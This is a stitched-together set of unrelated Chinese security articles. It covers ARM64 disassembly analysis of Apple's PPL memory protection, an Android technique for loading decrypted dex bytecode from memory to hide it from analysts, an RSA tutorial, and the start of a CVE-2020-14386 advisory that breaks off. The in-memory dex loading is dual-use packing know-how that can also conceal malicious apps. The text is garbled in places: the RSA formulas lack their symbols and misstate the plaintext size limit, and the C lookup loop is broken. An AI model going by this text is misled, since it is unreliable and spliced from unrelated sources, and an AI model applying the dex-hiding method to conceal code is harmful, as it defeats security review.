MSR #6, c15, c8, #3, X14 ; S3_6_C15_C8_3
MRS X14, #0, c4, c0, #0 ; SPSR_EL1
AND X14, X14, #0xFFFFFFFFFFFFFC3F
ORR X14, X14, X10
MSR #0, c4, c0, #0, X14 ; SPSR_EL1 -> EL3h
MRS X14, #0, c13, c0, #4 ; TPIDR_EL1
MSR #6, c15, c9, #1, X14 ; S3_6_C15_C9_1
DCQ 0x201400
首先将`ELR_EL1`设置为`ppl_exit`，然后将`S3_6_C15_C8_3`的最低位清0，然后将`SPSR_EL1`设置为
EL3h，注意`SPSR_EL1`的第2个bit设置为了1，在arm手册里这个bit是保留的，说明苹果处理器使用了这个bit代表ppl的执行状态，但是很奇怪为啥都设置为EL3h,而不是EL1h？随后将`TPIDR_EL1`值保存在了`S3_6_C15_C9_1`寄存器。
最后执行0x201400退出`EL1_Guard
level`，由于`ELR_EL1`寄存器保存的是`ppl_exit`，cpu跳转到`ppl_exit`继续执行,
`ppl_exit`恢复之前屏蔽的中断，然后使用ret指令返回。
上面分析的是一个正常通过`ppl_enter`请求ppl服务的路径。下面继续返回`_ppl_trampoline_start`代码。
CMP W9, #1 ; PPL_STATE_DISPATCH
C. EQ loc_FFFFFFF00980D9A4 ; _pmap_cpu_data_array->ppl_kern_saved_sp
如果当前`ppl_state`状态为`PPL_STATE_DISPATCH`，表示有其他cpu正在请求ppl服务，因此恢复之前通过`_pmap_cpu_data_array->ppl_kern_saved_sp`保存的栈，然后退出`EL1_Guard
level`，前面的路径已经分析过了。
CMP W9, #3 ; PPL_STATE_EXCEPTION
B. NE loc_FFFFFFF00980D9AC
如果`ppl_state`也不是`PPL_STATE_EXCEPTION`，则直接退出`EL1_Guard level`。
CMP W10, #3 ; PPL_STATE_EXCEPTION
C. NE loc_FFFFFFF00980D9AC
MOV W9, #1
STR W9, [X12,#0x18] ; PPL_STATE_DISPATCH
LDR X0, [X12,#0x10] ; _pmap_cpu_data_array->save_area
MOV SP, X0
B _return_to_ppl
将sp设置为`_pmap_cpu_data_array->save_area`，`_return_to_ppl`要使用这个栈恢复之前进入`EL1_Guard
level`异常处理时保存的全部寄存器值，恢复`cpsr, ELR_EL1`设置原来的调用地址，恢复bp,sp，通过eret返回原来的el1路径中。
为啥要判断w10的值是否为3？这个路径表示的是`EL1_Guard level`异常处理路径中要请求ppl服务。
`_GuardedExceptionVectorsBase`是`EL1_Guard
level`异常处理地址，我们看到它只对0x000的offset使用了有效函数，表明它只处理来自同层current
level的异常处理，再次证明`EL1_Guard level`也是在EL1 level上。
__PPLTEXT:__text:FFFFFFF0098114B0 gtr_sync：
MOV X26, #1
ADRL X1, _fleh_synchronous ; ESR_EL1
MSR #0, c4, c0, #1, X1 ; ELR_EL1
可以看到`gtr_sync`把`_fleh_synchronous`赋值给了`ELR_EL1`， x26设置为1很关键，这是一个标识，后面会讲到。
MOV X0, SP
DCD 0x201400
随后`gtr_sync`使用0x201400指令退出了`EL1_Guard level`，转而执行`el1
_fleh_synchronous`函数，这是el1内核异常处理的主要函数，这说明`EL1_Guard
level`的主要处理逻辑会使用el1内核代码，这也就解释了ppl为什么能保护内核态和用户态的数据。以前我们在使用el2做保护时，只能保护el1的数据，因为el1的使用的代码和数据都已经是映射好的，而el0层用户的代码和数据会涉及到很多缺页异常处理的逻辑，比如页表不存在，或者页表被交换到磁盘上，这会使el2的异常处理逻辑非常复杂。`EL1_Guard
level`使用el1内核代码的处理逻辑就简化了自身的代码逻辑，性能也会提升不少。
__TEXT_EXEC:__text:FFFFFFF0081315CC _fleh_synchronous
BL _sleh_synchronous
`_fleh_synchronous`又调用了`_sleh_synchronous`，这个函数是异常处理逻辑的主要处理函数。
CMP X26, XZR
B. EQ loc_FFFFFFF00813161C
注意`_fleh_synchronous`是el1内核代码的处理逻辑，`EL1_Guard
level`是借用了它的代码，在前面看到`gtr_sync`把x26设置为了1，在`_fleh_synchronous`函数里表示此次请求来自`EL1_Guard
level`。
MOV X15, #0
MOV W10, #3
DCB 0x20, 0x14, 0x20, 0
然后将x15设置为0，w10设置为3，最后调用0x201420再次进入`EL1_Guard
level`，此时就会跳转到`_ppl_trampoline_start`的异常处理请求路径里：
CMP W9, #3 ; PPL_STATE_EXCEPTION
B.NE loc_FFFFFFF00980D9AC
CMP W10, #3 ; PPL_STATE_EXCEPTION
B.NE loc_FFFFFFF00980D9AC
MOV W9, #1
STR W9, [X12,#0x18] ; PPL_STATE_DISPATCH
LDR X0, [X12,#0x10] ; _pmap_cpu_data_array->save_area
MOV SP, X0
B _return_to_ppl
`_return_to_ppl`恢复`EL1_Guard level`异常处理时保存的全部寄存器值，恢复cpsr,
`ELR_EL1`设置原来的调用地址，恢复bp,sp，通过eret返回原来的el1路径中。
## ppl服务
`_ppl_handler_table`数组保存的是ppl服务函数地址。
_ppl_handler_table：
_arm_force_fast_fault_internal
_mapping_free_prime_internal
_phys_attribute_clear_internal
_phys_attribute_set_internal
_pmap_batch_set_cache_attributes_internal
_pmap_change_wiring_internal
_pmap_create_options_internal
_pmap_destroy_internal
_pmap_enter_options_internal
_pmap_find_pa_internal
_pmap_insert_sharedpage_internal
_pmap_is_empty_internal
_pmap_map_cpu_windows_copy_internal
_pmap_mark_page_as_ppl_page_internal
_pmap_nest_internal
_pmap_page_protect_options_internal
_pmap_protect_options_internal
_pmap_query_page_info_internal
_pmap_query_resident_internal
_pmap_reference_internal
_pmap_remove_options_internal
_pmap_return_internal
_pmap_set_cache_attributes_internal
_pmap_set_nested_internal
_pmap_set_process_internal
_pmap_switch_internal
_pmap_switch_user_ttb_internal
_pmap_clear_user_ttb_internal
_pmap_unmap_cpu_windows_copy_internal
_pmap_unnest_options_internal
_pmap_footprint_suspend_internal
_pmap_cpu_data_init_internal
_pmap_release_ppl_pages_to_kernel_internal
_pmap_set_jit_entitled_internal
_pmap_load_legacy_trust_cache_internal
_pmap_load_image4_trust_cache_internal
_pmap_is_trust_cache_loaded_internal
_pmap_lookup_in_static_trust_cache_internal
_pmap_lookup_in_loaded_trust_caches_internal
_pmap_cs_cd_register_internal
_pmap_cs_cd_unregister_internal
_pmap_cs_associate_internal
_pmap_cs_lookup_internal
_pmap_cs_check_overlap_internal
_pmap_iommu_init_internal
_pmap_iommu_iovmalloc_internal
_pmap_iommu_map_internal
_pmap_iommu_unmap_internal
_pmap_iommu_iovmfree_internal
_pmap_iommu_ioctl_internal
_pmap_iommu_grant_page_internal
_pmap_update_compressor_page_internal
_pmap_trim_internal
_pmap_ledger_alloc_init_internal
_pmap_ledger_alloc_internal
_pmap_ledger_free_internal
_pmap_sign_user_ptr_internal
_pmap_auth_user_ptr_internal
_phys_attribute_clear_range_internal
可以看到ppl服务代码是非常复杂的，覆盖了物理内存和虚拟内存管理的方方面面。
### _pmap_mark_page_as_ppl_page_internal
我们先看下如何将一个物理页标记为ppl使用的物理页。
_pmap_mark_page_as_ppl_page_internal：
MOV X19, X0
ADRP X23, #_vm_first_phys@PAGE ; x0(pa) > vm_first_phys && x0 < vm_last_phys
LDR X8, [X23,#_vm_first_phys@PAGEOFF]
ADRP X24, #_vm_last_phys@PAGE
LDR X9, [X24,#_vm_last_phys@PAGEOFF]
CMP X8, X0
CCMP X9, X0, #0, LS
C. LS loc_FFFFFFF0097FB5B0
X0保存的是要标记的物理地址pa，然后检查它是否在`_vm_first_phys与_vm_last_phys`之间，这是XNU管理的有效物理内存区间。
LDR X11, [X9,#_pp_attr_table@PAGEOFF]
LDRSH W10, [X11,X8,LSL#1]
TBNZ W10, #0x1F, loc_FFFFFFF0097FB580 ;
ORR W12, W10, #0x4000 ; pp_attr_table[pai] & 0x4000
ADD X11, X11, X8,LSL#1
MOV X13, X10
CASALH W13, W12, [X11]
`pp_attr_table[pai] &= 0x4000`，将pa对应的`pp_attr_table`进行标记。
LDR X9, [X21,#_pv_head_table@PAGEOFF]
ADD X8, X9, X8,LSL#3
ADD X8, X8, #4
MOV W9, #0x20000000
LDCLRL W9, W8, [X8] ;
_pv_head_table[index] &= 0x20000000
MOV X0, X19
BL _phystokv
ADD X1, X0, #4,LSL#12
MOV W2, #3
MOV W3, #1
BL _pmap_set_range_xprr_perm
在对`pp_attr_table`和`_pv_head_table`进行标记后，调用`_pmap_set_range_xprr_perm`函数，这个函数作用是将虚拟地址va，到va
+
size之间的所有虚拟地址对应的页表属性进行转换，第三个参数代表的是原来页表的权限属性，第四个参数代表的是新的页表属性，这个函数用来在内核页表和ppl页表之间进行权限转换。
首先检查要进行转换的虚拟地址合法范围，只能在`physmap_base`和`physmap_end`或者gVirtBase和`static_memory_end`之间。接下来就是要循环遍历l3页表，l0页表基地址保存在`kernel_pmap->tte`，这个页表保存的是内核使用的页表地址，在内核启动时进行初始化。然后找到虚拟地址对应的l3
table地址，
循环遍历它的每个页表项，在这之前还需要将虚拟地址转换为物理地址，然后找到物理地址对应的`pv_head_table`表项，将其上锁。然后开始提取l3页表项的原始权限，请看如下代码逻辑：
LDR X8, [X20] ; 获得pte的内容
TBZ W8, #1, loc_FFFFFFF007B598C4 ;判断页表有效位
TBNZ X8, #0x34, loc_FFFFFFF007B598FC ; '4' ; ARM_PTE_HINT_MASK
LSR X9, X8, #4
AND X9, X9, #0xC ; (*pte >> 4) & 0xc; 提取ap权限
LSR X10, X8, #0x35 ; '5' ; *pte >> 53，提取xn和pxn权限
BFXIL X9, X8, #0x35, #1 ; '5'
AND X10, X10, #2 ; (*pte >> 53) & 2
ORR X9, X9, X10
CMP X9, X26 ; 与函数的第三个参数expected_perm比较
B. NE loc_FFFFFFF007B59938
通过上面的提取后获得一个4bit的权限值，高2位代表ap权限，最低位代表pxn权限，第2bit代表xn权限。
所以可以推断出ppl新的权限模型为4个bit：
new_perm
X XXX
/ / \ \
/ / \ \
54 53 7 6
+-------------------------------------------------------
| |xn|pxn| ... |ap| | |
--------------------------------------------------------
El1和`EL1_Guard level`对应的权限关系可以参考m1n1的dock：
HW: SPRR and GXF · AsahiLinux/docs Wiki · GitHub
通过搜索代码，发现有以下几个函数调用了`_pmap_set_range_xprr_perm`：
_pmap_mark_page_as_kernel_page:
MOV W2, #1
MOV W3, #3
B _pmap_set_range_xprr_perm
_pmap_mark_page_as_ppl_page_internal:
MOV W2, #3
MOV W3, #1
BL _pmap_set_range_xprr_perm
可以看到将普通的内核权限转化为ppl权限，是将3替换为1。反过来则是1替换为3。我们可以推测3为RW读写权限，1则为R只读权限。
_pmap_static_allocations_done:
MOV W2, #3
MOV W3, #0xB
BL _pmap_set_range_xprr_perm
将`_bootstrap_pagetables`从0x3设置为0xb，`_bootstrap_pagetables`是内核启动时用到的临时页表。
MOV W2, #3
MOV W3, #1
BL _pmap_set_range_xprr_perm ;
将`_BootArgs`从0x3设置为0x1，`_BootArgs`是iboot加载内核时传给内核的参数。
MOV W2, #0x3
MOV W3, #1
BL _pmap_set_range_xprr_perm ;
将`_segPPLDATAB`从0x3设置为0x1，`_segPPLDATAB`为ppl的data段。
MOV W2, #0xA
MOV W3, #0x8
BL _pmap_set_range_xprr_perm ;
将`_segPPLTEXTB`从0xA设置为0x8，`_segPPLTEXTB`为ppl的text段。
MOV W2, #0xB
MOV W3, #0xB
BL _pmap_set_range_xprr_perm ;
将`_segPPLDATACONSTB`从0xB设置为0xB，`_segPPLDATACONSTB`为ppl的dataconst段。
MOV W2, #0x1
MOV W3, #0xB
BL _pmap_set_range_xprr_perm ;
将`_pmap_stacks_start_pa`从0x1设置为0xB，`_pmap_stacks_start_pa`为ppl使用的stack区域。
_pmap_ledger_alloc_internal:
MOV W2, #1
MOV W3, #3
BL _pmap_set_range_xprr_perm ;
_pmap_load_image4_trust_cache_internal:
MOV W2, #0xB
MOV W3, #1
BL _pmap_set_range_xprr_perm
MOV W2, #1
MOV W3, #0xB
BL _pmap_set_range_xprr_perm
### _pmap_release_ppl_pages_to_kernel_internal
它与`_pmap_mark_page_as_ppl_page_internal`是一个相反的操作，读者朋友可以自行阅读相关代码。
* * * | 社区文章 |
本文来自i春秋作者:
[penguin_wwy](http://bbs.ichunqiu.com/thread-12734-1-1.html?from=paper)
### 零、问题出现
对dex文件进行加密，解密后动态加载是一种常用的加壳方式（一代壳以这种方式为主）。但这种在解密之后往往会产生一个解密后的完整dex。过程一般是这样的
打开文件
`File file = new File("classes.dex");`
读取字节码
`byte[] buffer = new FileInputStream(file).read();`
解密字节码
`decrypt(buffer)`
重写到文件
`File newFile = new File("classes_decrypt.dex"); new
FileOutputStream(newFile).write(buffer);`
加载dex
`DexClassLoader dexClassLoader = new
DexClassLoader("classes_decrypt.dex"...);`
可见在重写到文件这一步，就有可能被截获到解密后的dex，那加密dex的意义就完全不存在了。
当然也有过许多办法，比如加载完后删除文件、或者隐藏文件等等，但都没法从根本上解决问题。而最有实际意义的方法就是今天要说的，不落地加载dex。
### 一、理论基础
不落地的含义就是说在解密后直接由字节码进行加载，不需要变成dex文件。Dalvik中的两种类加载器DexClassLoader和PathClassLoader显然都不具备这个能力。我们需要自己定义一个类加载器。
那如何自己定义呢？我们先分析一下DexClassLoader加载的过程（详细分析请看我的博客）。这里简单说明一下，首先是DexClassLoader的构造函数
源码位置 libcore\dalvik\src\main\java\dalvik\system\DexClassLoader.java
public class DexClassLoader extends BaseDexClassLoader {
/**
* Creates a {[url=home.php?mod=space&uid=74926]@Code[/url] DexClassLoader} that finds interpreted and native
* code. Interpreted classes are found in a set of DEX files contained
* in Jar or APK files.
*
* <p>The path lists are separated using the character specified by the
* {@code path.separator} system property, which defaults to {@code :}.
*
* @param dexPath the list of jar/apk files containing classes and
* resources, delimited by {@code File.pathSeparator}, which
* defaults to {@code ":"} on Android
* @param optimizedDirectory directory where optimized dex files
* should be written; must not be {@code null}
* @param libraryPath the list of directories containing native
* libraries, delimited by {@code File.pathSeparator}; may be
* {@code null}
* @param parent the parent class loader
*/
public DexClassLoader(String dexPath, String optimizedDirectory,
String libraryPath, ClassLoader parent) {
super(dexPath, new File(optimizedDirectory), libraryPath, parent);
}
}
实质上是对它的父类，BaseDexClassLoader的构造 源码位置
libcore\dalvik\src\main\java\dalvik\system\BaseDexClassLoader.java
public BaseDexClassLoader(String dexPath, File optimizedDirectory,
String libraryPath, ClassLoader parent) {
super(parent);
this.pathList = new DexPathList(this, dexPath, libraryPath, optimizedDirectory);
}
libcore\dalvik\src\main\java\dalvik\system\DexPathList.java
public DexPathList(ClassLoader definingContext, String dexPath,
String libraryPath, File optimizedDirectory) {
if (definingContext == null) {
throw new NullPointerException("definingContext == null");
}
if (dexPath == null) {
throw new NullPointerException("dexPath == null");
}
if (optimizedDirectory != null) {
if (!optimizedDirectory.exists()) {
throw new IllegalArgumentException(
"optimizedDirectory doesn't exist: "
+ optimizedDirectory);
}
if (!(optimizedDirectory.canRead()
&& optimizedDirectory.canWrite())) {
throw new IllegalArgumentException(
"optimizedDirectory not readable/writable: "
+ optimizedDirectory);
}
}
this.definingContext = definingContext;
this.dexElements = makeDexElements(splitDexPath(dexPath), optimizedDirectory);
this.nativeLibraryDirectories = splitLibraryPath(libraryPath);
}
重点在函数makeDexElements
private static Element[] makeDexElements(ArrayList<File> files,
File optimizedDirectory) {
ArrayList<Element> elements = new ArrayList<Element>();
/*
* Open all files and load the (direct or contained) dex files
* up front.
*/
for (File file : files) {
File zip = null;
DexFile dex = null;
String name = file.getName();
if (name.endsWith(DEX_SUFFIX)) {
// Raw dex file (not inside a zip/jar).
try {
dex = loadDexFile(file, optimizedDirectory);
} catch (IOException ex) {
System.logE("Unable to load dex file: " + file, ex);
}
} else if (name.endsWith(APK_SUFFIX) || name.endsWith(JAR_SUFFIX)
|| name.endsWith(ZIP_SUFFIX)) {
zip = file;
try {
dex = loadDexFile(file, optimizedDirectory);
} catch (IOException ignored) {
/*
* IOException might get thrown "legitimately" by
* the DexFile constructor if the zip file turns
* out to be resource-only (that is, no
* classes.dex file in it). Safe to just ignore
* the exception here, and let dex == null.
*/
}
} else if (file.isDirectory()) {
// We support directories for looking up resources.
// This is only useful for running libcore tests.
elements.add(new Element(file, true, null, null));
} else {
System.logW("Unknown file type for: " + file);
}
if ((zip != null) || (dex != null)) {
elements.add(new Element(file, false, zip, dex));
}
}
return elements.toArray(new Element[elements.size()]);
}
根据文件后缀名的判断选择分支，然后调用loadDex函数
private static DexFile loadDexFile(File file, File optimizedDirectory)
throws IOException {
if (optimizedDirectory == null) {
return new DexFile(file);
} else {
String optimizedPath = optimizedPathFor(file, optimizedDirectory);
return DexFile.loadDex(file.getPath(), optimizedPath, 0);
}
}
DexFile.loadDex这个函数的内部也只是构造一个DexFile对象，所以直接看DexFile的构造函数就好
private DexFile(String sourceName, String outputName, int flags) throws IOException {
if (outputName != null) {
try {
String parent = new File(outputName).getParent();
if (Libcore.os.getuid() != Libcore.os.stat(parent).st_uid) {
throw new IllegalArgumentException("Optimized data directory " + parent
+ " is not owned by the current user. Shared storage cannot protect"
+ " your application from code injection attacks.");
}
} catch (ErrnoException ignored) {
// assume we'll fail with a more contextual error later
}
}
mCookie = openDexFile(sourceName, outputName, flags);
mFileName = sourceName;
guard.open("close");
//System.out.println("DEX FILE cookie is " + mCookie);
}
重点的重点在openDexFile，这个函数负责最终的dex文件加载
运行流程
DexClassLoader ——> BaseDexClassLoader ——> DexPathList ——> makeDexElements ——>
loadDex ——> DexFile
这个openDexFile函数是一个native函数，在libdvm.so中，看对应的函数表
const DalvikNativeMethod dvm_dalvik_system_DexFile[] = {
{ "openDexFile", "(Ljava/lang/String;Ljava/lang/String;I)I",
Dalvik_dalvik_system_DexFile_openDexFile },
{ "openDexFile", "([B)I",
Dalvik_dalvik_system_DexFile_openDexFile_bytearray },
{ "closeDexFile", "(I)V",
Dalvik_dalvik_system_DexFile_closeDexFile },
{ "defineClass", "(Ljava/lang/String;Ljava/lang/ClassLoader;I)Ljava/lang/Class;",
Dalvik_dalvik_system_DexFile_defineClass },
{ "getClassNameList", "(I)[Ljava/lang/String;",
Dalvik_dalvik_system_DexFile_getClassNameList },
{ "isDexOptNeeded", "(Ljava/lang/String;)Z",
Dalvik_dalvik_system_DexFile_isDexOptNeeded },
{ NULL, NULL, NULL },
};
调用表中第一个openDexFile所对应的`Dalvik_dalvik_system_DexFile_openDexFile`
，这个就是实际执行的函数，函数参数 `"(Ljava/lang/String;Ljava/lang/String;I)I"` 两个字符串一个整型。
而意外的发现在它的下一个位置`Dalvik_dalvik_system_DexFile_openDexFile_bytearray`，它的参数
`([B)I`
一个byte数组和一个整型，也就是说如果我们直接调用这个函数的话，就可以将字节码以一个byte数组的形式传入。了解到这里，我们的目标就清晰了。
（1）构造一个我们自己的类加载器
（2）通过`Dalvik_dalvik_system_DexFile_openDexFile_bytearray`，来加载dex文件的字节码
### 二、开工实践
下面我们就来尝试实现一下，首先我们需要一个正常的Apk，越简单越好，最好不需要太多资源文件，加载了dex能直接运行，毕竟只是实验一下。上一篇当中的TestApk就很合适。解压出它的classes.dex，放到手机/data/local/tmp文件夹下
然后新建一个Apk，就叫DexFile, 准备一个java类，负责native函数
public class JNITool {
static {
System.loadLibrary("JNITool");
}
public static native int loadDex(byte[] dex,long dexlen);
}
这个loadDex就负责通过我们前面所述的函数加载dex。在JNITool.so，我们要加载libdvm.so并且找到`Dalvik_dalvik_system_DexFile_openDexFile_bytearray`函数
所以需要定义JNI_OnLoad函数
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
void *ldvm = (void*) dlopen("libdvm.so", RTLD_LAZY);
dvm_dalvik_system_DexFile = (JNINativeMethod*) dlsym(ldvm, "dvm_dalvik_system_DexFile");
//openDexFile
if(0 == lookup(dvm_dalvik_system_DexFile, "openDexFile", "([B)I",&openDexFile)) {
openDexFile = NULL;
LOGI("openDexFile method does not found ");
}else{
LOGI("openDexFile method found ! HAVE_BIG_ENDIAN");
}
LOGI("ENDIANNESS is %c" ,ENDIANNESS );
void *venv;
LOGI("dufresne----->JNI_OnLoad!");
if ((*vm)->GetEnv(vm, (void**) &venv, JNI_VERSION_1_4) != JNI_OK) {
LOGI("dufresne--->ERROR: GetEnv failed");
return -1;
}
return JNI_VERSION_1_4;
}
dlopen函数链接libdvm.so，dlsym找到并返回dvm_dalvik_system_DexFile。dvm_dalvik_system_DexFile就是我们之前看到的函数表
const DalvikNativeMethod dvm_dalvik_system_DexFile[] = {
{ "openDexFile", "(Ljava/lang/String;Ljava/lang/String;I)I",
Dalvik_dalvik_system_DexFile_openDexFile },
{ "openDexFile", "([B)I",
Dalvik_dalvik_system_DexFile_openDexFile_bytearray },
{ "closeDexFile", "(I)V",
Dalvik_dalvik_system_DexFile_closeDexFile },
{ "defineClass", "(Ljava/lang/String;Ljava/lang/ClassLoader;I)Ljava/lang/Class;",
Dalvik_dalvik_system_DexFile_defineClass },
{ "getClassNameList", "(I)[Ljava/lang/String;",
Dalvik_dalvik_system_DexFile_getClassNameList },
{ "isDexOptNeeded", "(Ljava/lang/String;)Z",
Dalvik_dalvik_system_DexFile_isDexOptNeeded },
{ NULL, NULL, NULL },
};
lookup从函数表中寻找我们要的`Dalvik_dalvik_system_DexFile_openDexFile_bytearray`
int lookup(JNINativeMethod *table, const char *name, const char *sig,
void (**fnPtrout)(u4 const *, union JValue *)) {
int i = 0;
while (table.name != NULL)
{
LOGI("lookup %d %s" ,i,table.name);
if ((strcmp(name, table.name) == 0)
&& (strcmp(sig, table.signature) == 0))
{
*fnPtrout = table.fnPtr;
return 1;
}
i++;
}
return 0;
}
找到之后就用全局的函数指针
void (*openDexFile)(const u4* args, union JValue* pResult);
来保存这个函数
JNIEXPORT jint JNICALL Java_cn_wjdiankong_dexfiledynamicload_NativeTool_loadDex(JNIEnv* env, jclass jv, jbyteArray dexArray, jlong dexLen)
{
// header+dex content
u1 * olddata = (u1*)(*env)-> GetByteArrayElements(env,dexArray,NULL);
char* arr;
arr = (char*)malloc(16 + dexLen);
ArrayObject *ao=(ArrayObject*)arr;
ao->length = dexLen;
memcpy(arr+16,olddata,dexLen);
u4 args[] = { (u4) ao };
union JValue pResult;
jint result;
if(openDexFile != NULL) {
openDexFile(args,&pResult);
}else{
result = -1;
}
result = (jint) pResult.l;
LOGI("Java_cn_wjdiankong_dexfiledynamicload_NativeTool_loadDex %d" , result);
return result;
}
loadDex函数最终会通过这个函数指针来调用`dvm_dalvik_system_DexFile`，最终加载dex
那么回到Java层，我们需要定义一个自己的类加载器
public class DynamicDexClassLoder extends DexClassLoader {
private static final String TAG = "dexlog";
private int cookie;
private Context mContext;
构造函数
public DynamicDexClassLoder(Context context, byte[] dexBytes,
String libraryPath, ClassLoader parent, String oriPath,
String fakePath) {
super(oriPath, fakePath, libraryPath, parent);
setContext(context);
int cookie = JNITool.loadDex(dexBytes, dexBytes.length);
setCookie(cookie);
}
cookie这个变量代表了加载完成后的dex的句柄 然后实现findClass函数
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
Log.d(TAG, "findClass-" + name);
Class<?> cls = null;
String as[] = getClassNameList(cookie);
Class obj_class = Class.forName(DexFile.class.getName());
Method method = obj_class.getDeclaredMethod("defineClassNative",
new Class[]{String.class, ClassLoader.class, int.class});
method.setAccessible(true);
for (int z = 0; z < as.length; z++) {
Log.i(TAG, "classname:"+as[z]);
if (as[z].equals(name)) {
cls = (Class) method.invoke(null,
new Object[]{as[z].replace('.', '/'), mContext.getClassLoader(), cookie});
} else {
//加载其他类
method.invoke(null,
new Object[]{as[z].replace('.', '/'), mContext.getClassLoader(), cookie});
}
}
if (null == cls) {
cls = super.findClass(name);
}
return cls;
}
然后在MainActivity中我们就可以通过以下代码，启动TestApk的MainActivity
DynamicDexClassLoder dLoader = new DynamicDexClassLoder(
getApplicationContext(),
dexContent,
null,
clzLoader,
getPackageResourcePath(),getDir(".dex", MODE_PRIVATE).getAbsolutePath()
);
Class clazz = dLoader.findClass("com.example.testapk.MainActivity");
Intent intent = new Intent(this, clazz);
startActivity(intent);
### 三、小结
以上的代码在Android5.0以下的Android系统上可以正确执行（少数真机可能会出问题），我测试的时候在原生的Android4.4上成功。至于Android5.0？不好意思，从Android5.0开始，谷歌已经放弃了Dalvik虚拟机，转而支持ART，没有了libdvm，所以。。。。之后我会考虑研究一下怎么在ART虚拟机中实现。
这种不落地的加载方式是现在加壳方式的一部分。现在的加壳方法往往是多种方法捏合在一起的（还有那种丧心病狂的VMP），大家可以试试将上篇的方法和这篇结合起来，对一个加密的dex，解密后不落地加载，之后再修复dex中的错误指令。之后我也会介绍越来越多的加壳、抗反编译方法，都可以尝试结合在一起。
原文地址：http://bbs.ichunqiu.com/thread-12734-1-1.html?from=paper
* * * | 社区文章 |
# RSA加密解密详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 RSA概要
RSA算法是非对称密码算法。非对称密码又称为公钥密码，意思为每对加密包含一个公钥（可能为他人所知）和一个私钥（可能不为所有人所知）。有效的安全需要保持私钥的私密性；公钥可以在不影响安全性的情况下公开分发。
**RSA 的安全性依赖于分解两个大素数乘积的实际困难，但相对较慢，可以称为“分解问题”。**
### RSA应用
1. **客户端将其公钥发送到服务器并请求一些数据**
2. **服务器使用客户端的公钥加密数据并发送加密数据**
3. **客户端接收此数据并对其进行解密**
## 0x02 RSA算法详细流程
### RSA算法四个步骤
1. **密钥生成**
2. **密钥分发**
3. **加密**
4. **解密**
### 关于RSA相关公式
n = p * q
(n) = (p – 1) * (q – 1)
ed 1 mod (n)
c = m**e mod n
m = c**d mod n
### simple example
**已知：P = 11，q = 29，e = 3**
**求d**
通过公式：
(n) = (p – 1) * (q – 1)
**(n) = (p-1)(q-1) = (11-1)*(29-1) = 280**
通过公式：
ed 1 mod (n)
如果两个整数 ed 和 1 满足 ed-1 能被 (n) 整除，称为整数 ed 与 1 对模 (n) 同余
1 < d < (n)
**3d 1 mod 280**
3d mod 280 = 1
d = 187
通过公式：
n = p * q
**n = 11 * 29 = 319**
公钥（n，e）
私钥（n，d）
得到：
公钥（319，3）
私钥（319，187）
**或者用脚本解d：**
gmpy2.invert(e,(p-1)*(q-1))
**使用此密钥对可以加密的最大数字是多少**
加密函数为：
c(m) = m^e mod n
解密函数为：
m(c) = c^d mod n
**RSA算法一次能加密的名文长度与密钥长度成正比。**
**len_in_byte(raw_data) = len_in_bit(key)/8-11**
**如果小于这个长度，就需要进行数据补齐，称为padding，不进行数据补齐用户就无法确分解密后内容的真实长度。**
**n的长度就是密钥长度，n = 319，n的二进制为100111111，密钥为9位，RSA实际可加密的明文长度最大也是1024bits**
**当加密明文m = 23时，求密文c**
加密函数为：
c(m) = m^e mod n
**c(m) = 23^3 mod 319 = 12167 mod 319**
c(m) = 45
import gmpy2
n = 319
e = 3
m = 23
print(pow(m, e, n))
**当密文c = 23时，求明文m**
解密函数为：
m(c) = c^d mod n
**m(c) = 23^187 mod 319**
m(c) = 199
import gmpy2
n = 319
d = 187
c = 23
print(pow(c,d,n)) | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/uv3BiznUCUy8do_ullnXUw>**
### 一、漏洞背景
近日，Openwall社区上公开了一个Linux内核AF_PACKET原生套接字内存破坏漏洞。根据细节描述，该漏洞出现在net/packet/af_packet.c中，由整数溢出导致越界写，可以通过它进行权限提升。该漏洞危害评级为高，编号为CVE-2020-14386。
### 二、受影响产品和缓解措施
**1、受影响产品**
该漏洞影响Linux发行版高于4.6的内核版本，包括：
* Ubuntu Bionic (18.04) and newer
* Debian 9
* Debian 10
* CentOS 8/RHEL 8
**2、缓解措施**
（1）修补系统
上游内核补丁如下：
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=acf69c946233259ab4d64f8869d4037a198c7f06>
（2）关闭CAP_NET_RAW功能 针对RHEL8，具体关闭步骤如下：
# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf
（3）针对一些受影响的容器产品，同样采取关闭CAP_NET_RAW功能进行缓解。
Kubernetes
Pod安全策略：配置Pod安全策略以删除运行容器中的CAP_NET_RAW功能，参考链接：<https://cloud.google.com/kubernetes-engine/docs/security-bulletins>
### 三、相关概念
**1、AF_PACKET套接字**
网络协议栈中，原始套接字是一个特殊的套接字类型，从实现上可以分为两类，一类为链路层原始套接字；另一类为网络层原始套接字。链路层原始套接字可直接用于接收和发送链路层的MAC帧，在发送时需要调用者自行构造和封装MAC首部。链路层原始套接字调用socket()函数创建。第一个参数指定地址簇类型为AF_PACKET，第二个参数套接字类型为SOCK_RAW或SOCK_DGRAM，当类型指定为SOCK_RAW时，套接字接收和发送的数据都是从MAC首部开始的。在发送时需要由调用者从MAC首部开始构造和封装报文数据。
**2、PACKET_MMAP**
仅依靠AF_PACKET过滤数据包是非常低效的，内核又提供了PACKET_MMAP支持。PACKET_MMAP在内核空间中分配一块环形内核缓冲区，用户空间通过mmap将该内核缓冲区映射出来。收到的数据包拷贝到环形内核缓冲区中，用户层可以直接操作数据，通过内核空间和用户空间共享的缓冲区起到减少数据拷贝的作用，提高处理效率。
### 四、PACKET_MMAP实现过程
通过setsockopt()函数设置环形缓冲区，option参数设置为PACKET_RX_RING或PACKET_TX_RING。为了方便内核与用户层管理和交互环形缓冲区中的数据帧，内核定义了TPACKET_HEADER结构体，该结构体存储着一些元信息如套接字地址信息、时间戳以及环形缓冲区管理信息等。如果通过setsockopt()函数设置了PACKET_VNET_HDR选项，还需添加一个virtio_net_hdr结构体。一个数据帧包含两个部分，第一部分为TPACKET_HEADER，第二部分为Data，而且要保证页面对齐，如下图所示：
目前TPACKET_HEADER存在三个版本，每个版本长度略有不同。对于v1和v2，收发环形缓冲区用tpacket_req结构体管理，该结构体包含四个数据域：分别为内存块的大小和数量、每个数据帧的大小和数据帧总数。如下图所示：
